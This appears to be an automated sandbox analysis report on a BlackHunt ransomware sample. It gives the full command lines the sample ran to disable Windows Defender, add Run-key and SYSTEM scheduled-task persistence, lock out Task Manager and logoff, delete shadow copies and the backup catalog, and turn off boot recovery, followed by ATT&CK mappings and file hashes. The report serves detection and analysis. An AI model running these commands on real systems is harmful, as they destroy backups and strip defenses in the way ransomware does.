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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2528 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:3744
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:404 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2920
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2212 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:4284
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:432 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:4816
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3208 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:4832
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1188 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:4232
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4600 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:4920
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3224 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:700
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3532
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1020 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:2412
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:2280 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:4720
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1548 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:2164
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:4268
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:3232
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:1560
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:4192
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:3184
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:4436
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:2404
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:4440
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:3056
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:2096
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:4912
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:3264
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:4020
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:448
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:816
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:2972
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:1624
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:3744
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:4700
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:2380
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:3060
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:1632
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2624
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:496
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2544
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1608
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:4076
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:1576
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:4584
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:3816
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe" /F2⤵PID:4816
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\b84049e45554c1531fd4d83a8b8eadc6f209d4dcb7a01b1aaf00d498725e3505.exe" /F3⤵
- Creates scheduled task(s)
PID:4480
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:4472
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:4604
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:1208
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3236
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:4456
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:4732
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:4848
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:2528
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:4436
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:4968
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:4568
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:6140
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:4996
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:4052
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:116
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:1996
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:1016
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:220
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2124
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:4832
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f1⤵PID:4532
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4264
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6056
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:944
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:5528
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
3File Deletion
3Modify Registry
4Replay Monitor
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Downloads
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Filesize
1KB
MD53d717b4fd7268b8c0af4ca4ecd2cc782
SHA18aaf5cac7f7af370ff641e60fcd7b777d2ff4649
SHA25653a7ce4a18e524eff37b0764856c213c228975cba3c7e650a2c709bcac473f23
SHA512682c51057f24ce7a24e2142d6b9bb8f7a211163ea4ea6cc4a9186985852d9d4369188e72b0fa5feb1f4404fc3c79af1d9e61c21ea2d7dede508567b967f639e6
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Filesize
684B
MD5bb82407f4e2ba0970f1005c06eca9c92
SHA17fcf351893a487ee218f0c2bdd24e34655f0d7c6
SHA256c589c5e2db669c3cbdcf548c970e8466b2091b8132a7931f6417906dff8bf683
SHA512de9930fdf3a03a8fbe6fcde21c2ddf1c75d4be781c56aeea602872669f25b1a8a4a371f50e6a34db399f09ef11194d4874394293c24a8355a8b61daa1021d113
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Filesize
12KB
MD53dbe0b9ca8fef744c80a70b9d10ef749
SHA1799c3caa953c23b603d189575446ed686c71c116
SHA256c1a4e6607975a68f7d686159463a61499e5d9ec258bb4c4be4be47089ae6eec7
SHA5125e5bdda4eb52029f7e97f2dc157210369e8eef3e0ee023bd917cf36e4833ab31f9d3031cb253b9cbfe727e1545f1b38ed2440c4fc4c291f74e56602e12d09bea